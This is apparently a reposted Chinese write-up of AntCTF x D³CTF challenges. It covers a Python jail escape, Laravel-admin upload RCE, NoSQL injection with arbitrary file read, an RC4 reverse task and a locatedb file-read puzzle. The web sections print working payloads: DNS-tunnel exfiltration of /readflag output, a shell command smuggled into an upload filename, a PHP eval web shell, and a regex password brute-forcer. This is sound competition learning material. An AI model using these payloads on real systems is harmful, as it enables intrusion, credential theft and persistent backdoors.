​AntCTF x D³CTF Writeup

admin 2023年5月2日18:49:02评论200 views字数 11689阅读38分57秒阅读模式

AntCTF x D³CTF Writeup

​AntCTF x D³CTF Writeup

Web

Escape Plan

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def challenge_3():
    cmd = request.form.get("cmd""")
    if not cmd:
        return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""


    try:
        cmd = base64.b64decode(cmd).decode()
    except Exception:
        return "bad base64"

    black_char = [
        "'"'"''.'','' ''+',
        '__''exec''eval''str''import',
        'except''if''for''while''pass',
        'with''assert''break''class''raise',
        '0''1''2''3''4''5''6''7''8''9',
    ]
    for char in black_char:
        if char in cmd:
            return f'failed: `{char}`'

    msg = "success"
    try:
        eval(cmd)
    except Exception:
        msg = "error"

    return msg

pyjail

题目提示如下:

The success for a break out depends on three things.
- layout: black_char
- routine: Python tricks
help: Run /readflag to get flag, dns tunneling may help you

直接放payload吧

POST /? HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Tao: request.form['a']
Content-Length: 235

cmd=4bWJdmFsKOG1iXZhbCjhtYl2YWwodmFycyhyZXF1ZXN0KVtsaXN0KGRpY3QoaGVhZGVycz1UcnVlKSlbRmFsc2VdXVtsaXN0KGRpY3QoVGFvPVRydWUpKVtGYWxzZV1dKSkp&a=__import__('so'[::-1]).system("ping+`cd+/;./readflag|base64|cut%20-b%2061-68`.lgw597.dnslog.cn")

分割flag多次外带

​AntCTF x D³CTF Writeup

d3cloud

POST请求,debug报错得到部分敏感信息。

访问/admin使用admin/admin登录Laravel-admin

disk管理扩展,给了一个php文件,通过Compare

​AntCTF x D³CTF Writeup

发现有限制RCE

POST /admin/media/upload HTTP/1.1
Host: 47.102.115.18:30269
Content-Length: 716
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJe1t16hLiDn4yEsp
Origin: http://47.102.115.18:30269
Referer: http://47.102.115.18:30269/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: mysession=MTY4MjY4MzYyNnxEdi1CQkFFQ180SUFBUkFCRUFBQUhmLUNBQUVHYzNSeWFXNW5EQWNBQldGa2JXbHVCR0p2YjJ3Q0FnQUF8yTHwFCiy9EwrmifDbeR_Ogwn58TpfqN0VAU7_sQ_DzU=; remember_admin_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6InNXRnVSZjBtTGxhNkxoblwvRWJJVmhRPT0iLCJ2YWx1ZSI6IjZNRjVkdlFESmRUQVB5VWVNSDVtaVV3RzdtQWRuRHIzQVJhelF6MG5FSGRcL2xTVHNiQ2JyTDE2ZEJ2UGRSXC9MYml6b3hRSitmVUFwU2ViT0JIcXFnU3o0bUo3QzVTXC9aUjZmdEVhbW01cFpkcWF1TE9SRGJ5NEJkK2VpS3FqSk1WNUROa0s1c0c3MXd3OGNaXC9yKzdHOTNEZFhGclpGQWw2VHBLNEhqdlUzZWdFdzNXNFVNNjhZNnRLOGRrZ24zcXVIQ0dPRHdMNnNuVGFOVXlOSjlNM0szSDlPXC90MW9qcFwvd3BPaGFPXC9OVE9nPSIsIm1hYyI6IjYwOGFlYTM5YzU3YmNkMjk0MTg4Y2RhYzZjNzk5ZTNmNmVjMjI4ZDZjMDgyZjZkMjM2ZDUxOTBiZDI3M2Y2MDIifQ%3D%3D; XSRF-TOKEN=eyJpdiI6ImFNTFFVcWMrZGdNdlhHVUpOVVAyVUE9PSIsInZhbHVlIjoicEZrMklnZ2R2WWVFZXhyaWNhVEdoQmdCZnE2bWJmMHcwNVZSRXZFbklMRDZLZVpoUjhEXC9FMzBtOW9oRHNRTXIiLCJtYWMiOiIwYWU1MTdkMjk5Y2E5NDVjMzE5MWEzNTNiNzA0Yzc0NjY3MWY4ZjJiNjIzMTM3M2RhYjA0MmViMDk5YmJkNDI4In0%3D; laravel_session=eyJpdiI6Ikg2T3lJNXRoa3VocE9kT1JcL2pSQXFnPT0iLCJ2YWx1ZSI6InFYSm9ibzNDOFphSDBWTjhreDZpdnJQdlpRb0RQMEFOejlQUmp1RWk0cWxKOTZEY0w3N1NuK1Mya1cyMVFXd0UzZEk2ZnBDdlVkU3NsRmVPM0xNS0Z4RXB6d0tydm9xOWZjZ0NzaGx1bGxlUnVxUUR0Mzd6c2QrbzlpMlpXOHVqIiwibWFjIjoiMDU5MGM1MWI0MmUwMGI5YzcyMGJkOGMwMTM3MzkxYTA3YzFjOGMxNjk5ODNkMjkxMjE2YWZkYmZiN2NkMzEzMCJ9
Connection: close

------WebKitFormBoundaryJe1t16hLiDn4yEsp
Content-Disposition: form-data; name="files[]"; filename="$(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd var;cd www;cd html;cd storage;cd app;cd public;sh Tao.sh) && sleep 10;#2.zip"
Content-Type: application/x-zip-compressed

....
​AntCTF x D³CTF Writeup

先上传包含Tao.sh的压缩包,Tao.sh内容包含如下:

echo '<?php eval($_REQUEST[0]);?>' > /var/www/html/public/1.php

之后连🐎就可

注:storage路劲通过报错获取,上传symlink

d3node

NoSQL injection

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://47.102.98.112:31387/user/LoginIndex"
headers={'content-type''application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": "admin", "password": {"$regex": "^%s" }}' % (password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

得到admin/dob2xdriaqpytdyh6jo3

之后有个任意文件读取,readFileSync()函数文件读取绕过关键词检测

跟祥云杯那个差不多,原理可看

https://brycec.me/posts/corctf_2022_challenges#simplewaf

/dashboardIndex/ShowExampleFile?filename[href]=a&filename[origin]=a&filename[protocol]=file:&filename[hostname]=&filename[pathname]=/usr/src/%25%36%31%25%37%30%25%37%30/%25%36%31%25%37%30%25%37%30.js

后面就是审node.js代码了,看了两天,不知道咋搞...

菜哭😭😭😭

后面看了别的师傅wp才发现,那个npm的scripts执行命令的那个key是源代码里的,比赛中试了自定义的不行,还不知道那里问题,待研究

Reverse

d3rc4

我们先看main函数:

​AntCTF x D³CTF Writeup

跟题目名字一样:

​AntCTF x D³CTF Writeup

发现这一段都是关于rc4的加密:

​AntCTF x D³CTF Writeup

流程是用scanf接收 ===> 然后生成key ===> 输入的跟key进行异或 ===> 最后跟fake_flag里的值比对

然后我发现key的加密,无关于我们的输入,但又关我们的输入长度,输入到对应的flag的长度,我们就可以得到对应用来加密key,所以我们可以调试的时候看key的值,然后通过key^fake_flag的值,得到flag:

我们先看下fake_flag的长度:

​AntCTF x D³CTF Writeup
​AntCTF x D³CTF Writeup

算了下,长度是0x21

下面是调试:

​AntCTF x D³CTF Writeup

我们断点下在这里:

​AntCTF x D³CTF Writeup

因为程序开启了pie,我们利用基地址+偏移来下断点:

​AntCTF x D³CTF Writeup

跳到断点位置:

​AntCTF x D³CTF Writeup

我们得到对应的key,然后将key和fake_flag异或:

from pwn import *
key = p64(0x951cd8b5634486b8) + p64(0x346356bc5e707ed1) + p64(0x1e9d524df8159028) + p64(0x0f641b5264c81ff5) + p32(0x5d409324)
en_flag = [0xDB,0xB6,0x2A,0x04,0xC7,0xB9,0x68,0xE0,0xBD,0x3E,0x04,0x6F,0xD3,0x38,0x10,0x6B,0x4A,0xE5,0x61,0xA7,0x24,0x0D,0xFC,0x73,0xAA,0x71,0xF8,0x10,0x0D,0x7D,0x55,0x6E,0x43]
flag = ""
for i in range(0x21):
    flag += chr(key[i]^en_flag[i])

print(flag)

这里为了方便,我用pwntools,将key转成bytes类型,运算结果如下:

​AntCTF x D³CTF Writeup

可以,就是知道没有那么简单

所以我们现在从头把程序看一遍:

decode:

​AntCTF x D³CTF Writeup

这个似乎我们在main函数里没有看到,但是我们看一下它在哪里被引用了:

​AntCTF x D³CTF Writeup

现在就很清楚了,是在程序的一开始就调用的,所以不用管它,主要就是将输出结果对错的字符解密,和用在rc4加密的一个值进行初始化

.init_array里的函数是程序一开始就执行的函数先于main()

然后我们看到:

​AntCTF x D³CTF Writeup

这个段函数,发现里面又有对我们输入的值进行运算的:

​AntCTF x D³CTF Writeup

然后是有puts():

​AntCTF x D³CTF Writeup

但是在这个前面调用了子进程:

​AntCTF x D³CTF Writeup

但是这函数会在那里被引用:

​AntCTF x D³CTF Writeup

在.fini_array,被引用

.fini_array是结束程序时会引用的,所以无论main函数以什么结束都会调用

接着我们分析,不难得出来,调用子进程 ===>在子进程运算加判断 ===> 通过子进程的结束方式来判断结果的正确与否

所以我们现在要看,在子进程的运算是怎么样的:

    if ( !v6 )
    {
      sub_120D((__int64)byte_4240, (__int64)byte_4100, dword_4164);
      for ( i = 0; i < dword_4168; ++i )
        sub_12D2((__int64)byte_4240, length, (__int64)key);
      for ( j = 0; j < length; j += 2 )
      {
        my_input[j] = (my_input[j] + my_input[j + 1]) ^ key[j];
        my_input[j + 1] = key[j + 1] ^ (my_input[j] - my_input[j + 1]);
      }
      for ( k = 0; k < length; ++k )
      {
        if ( my_input[k] != real_flag[k] )
          exit(1);
      }
      exit(0);
    }

发现,也是rc4(唯一的变量就是我们输入的字符的长度,跟上面一样),但这次的运算就不是key和我们输入的值就是异或那么简单,但是还是简单:

        my_input[j] = (my_input[j] + my_input[j + 1]) ^ key[j];
        my_input[j + 1] = key[j + 1] ^ (my_input[j] - my_input[j + 1]);

我们现在可以知道的是real_flagd的值和长度(0x24):

​AntCTF x D³CTF Writeup
​AntCTF x D³CTF Writeup

我们只要得到key的值,逆一下运算,就可以得到flag(这里是还有点问题的),所以我们怎么得到key的值:因为我自己逆向能力不太行,所以没有写脚本直接逆出来得到key的值,我是直接调试子进程来看key的值:

我们一样要下个断点:

​AntCTF x D³CTF Writeup

我们要下在这里:

​AntCTF x D³CTF Writeup

这次我们输入的长度是0x24,(也学到了gdb调试子进程:

我们先要,再运行就可以调试子进程:

​AntCTF x D³CTF Writeup

我们成功截停了子进程:

​AntCTF x D³CTF Writeup

然后用*gdb --pid=xxxxx*,进行调试子进程:

​AntCTF x D³CTF Writeup

成功进入,可以调试子进程了,设置断点:

​AntCTF x D³CTF Writeup

然后跳到对应位置,查看key的值:

​AntCTF x D³CTF Writeup

ok,此时我们有了key,便可以跟real_flag进行,然后得到flag的值(这里是有点问题的):

脚本如下(接近,但不正确的):

int main()
{
 char key[0x24] = { 5375160968801652415115117819203761320716312487832261691017814199122152531811581805124997211 };
 char en_flag[0x24] = { 0xF70x5F0xE70xB00x9A0xB40xE00xE70x9E0x050xFE0xD80x350x5C0x720xE00x860xDE0x730x9F0x9A0xF60x0D0xDC0xC80x4F0xC20xA40x7A0xB50xE30xCD0x600x9D0x040x1F };
 char flag[0x24] = { 0 };
 for(int j = 0; j < 0x24; j += 2)
 {
  en_flag[j + 1] = en_flag[j] - (en_flag[j + 1] ^ key[j + 1]);
  en_flag[j] = (en_flag[j] ^ key[j]) - en_flag[j + 1];
 }
 
 for (int j = 0; j < 0x24; j++)
 {
  printf("%c", en_flag[j]);
 }
 printf("n");
    return 0;
}

得出来的结果:是不对的,是一堆乱码。

我们从头来想一想,我们输入的值进行了几次运算:

  1. 跟第一次加密的key进行异或
  2. 跟第二次的key进行运算

发现是两次,所以我们除了要跟第二次key进行逆运算,还要跟第一次的key进行异或,得到的结果才是真真正正的flag!!!!!:

因为输入的长度,第一次key变长为:

​AntCTF x D³CTF Writeup

正确的脚本:

#include <stdio.h>
int main()
{
 char key[0x24] = { 5375160968801652415115117819203761320716312487832261691017814199122152531811581805124997211 };
 char en_flag[0x24] = { 0xF70x5F0xE70xB00x9A0xB40xE00xE70x9E0x050xFE0xD80x350x5C0x720xE00x860xDE0x730x9F0x9A0xF60x0D0xDC0xC80x4F0xC20xA40x7A0xB50xE30xCD0x600x9D0x040x1F };
 char key2[0x24] = { 184,134,68,99,181,216,28,149,209,126,112,94,188,86,99,52,40,144,21,248,77,82,157,30,245,31,200,100,82,27,100,15,36,147,64,93 };
 char flag[0x24] = { 0 };
 for(int j = 0; j < 0x24; j += 2)
 {
  en_flag[j + 1] = en_flag[j] - (en_flag[j + 1] ^ key[j + 1]);
  en_flag[j] = (en_flag[j] ^ key[j]) - en_flag[j + 1];
 }

 for (int j = 0; j < 0x24; j++)
 {
  flag[j] = en_flag[j] ^ key2[j];
 }

 for (int j = 0; j < 0x24; j++)
 {
  printf("%c", flag[j]);
 }

 return 0;
}

得到flag:

​AntCTF x D³CTF Writeup

flag:       getting_primes_with_pipes_is_awesome

注意:其实还要一个干扰函数,但是仔细分析就知道不会运行这个函数,会直接结束程序:

​AntCTF x D³CTF Writeup

这是干扰函数

Misc

d3readfile

nc连接输入发现返回响应包

$ nc 139.196.211.236 30607
Tao
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close

400 Bad Request

猜测自行构造请求包,GET请求

$ nc 139.196.211.236 30607
GET / HTTP/1.1
Host: 127.0.0.1

回显如下

HTTP/1.1 200 OK
Content-Length: 1017
Content-Type: text/html; charset=utf-8
Date: Sun, 30 Apr 2023 11:44:26 GMT

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Request</title>
<style>
input {
  width300px;
  height25px;
  font-size16px;
}
button {
  width80px;
  height30px;
}
#response {
  height50px;
  margin-top15px;
}
</style>
</head>
<body>
<div style="text-align: center;">
<h2>File Request</h2>
<p>Enter filepath and click Submit to request file:</p>
<input type="text" id="filepath" onkeyup="onKeyUp()">
<button id="submit_btn" onclick="sendRequest()">Submit</button>
<div id="response"></div>
</div>

<script>
function sendRequest({
  var xhr = new XMLHttpRequest();
  var filepath = document.getElementById("filepath").value;
  xhr.open("POST""/readfile");
  xhr.setRequestHeader("Content-Type""application/x-www-form-urlencoded");
  xhr.onload = function({
    document.getElementById("response").innerText = this.responseText;
  };
  xhr.send("filepath=" + filepath);
}
function onKeyUp({
  if (event.keyCode === 13) {
    sendRequest();
  }
}
</script>

</body>
</html>

根据回显,构造post请求访问/readfile,读取/proc/self/environ

POST /readfile HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

filepath=/proc/self/environ
HTTP/1.1 200 OK
Content-Length: 539
Content-Type: application/octet-stream
Date: Sun, 30 Apr 2023 11:46:30 GMT

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=gamebox-538-25-1417046f71d27b45FLAMEGO_ENV=productionFLAMEGO_ADDR=0.0.0.0:8000HINT=d2hlcmUgaXMgdGhlIGZsYWcuLi4gd2UgaGF2ZSB0byBmaW5kIGEgd2F5IHRvIGxvY2F0ZSB0aGUgZmxhZyEhKUBERNETES_PORT_443_TCP_ADDR=10.27.0.1KUBERNETES_SERVICE_HOST=10.27.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.27.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.27.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443HOME=/root

得到hint

$ echo "d2hlcmUgaXMgdGhlIGZsYWcuLi4gd2UgaGF2ZSB0byBmaW5kIGEgd2F5IHRvIGxvY2F0ZSB0aGUgZmxhZyEh" | base64 -d
where is the flag... we have to find a way to locate the flag!!

hint需要我们自行查找flag,其中locate是linux的查找命令,从文件数据库中查找返回,因此这里是读取locate数据库文件

The “locate” command searches on the database file /var/cache/locate/locatedb.

https://infosecwriteups.com/finding-of-directory-path-in-linux-820be9ae759b

如上方法读取locatedb文件,使用如下工具解码

https://github.com/WojciechMula/locatedb

$ python2 locatedb.py  decompress locatedb | grep "/flag"
/opt/vwMDP4unF4cvqHrztduv4hpCw9H9Sdfh/UuRez4TstSQEXZpK74VoKWQc2KBubVZi/LcXAfeaD2KLrV8zBpuPdgsbVpGqLcykz/flag_1s_h3re_233

同上


原文始发于微信公众号(ACT Team):​AntCTF x D³CTF Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月2日18:49:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ​AntCTF x D³CTF Writeuphttp://cn-sec.com/archives/1703571.html

发表评论

匿名网友 填写信息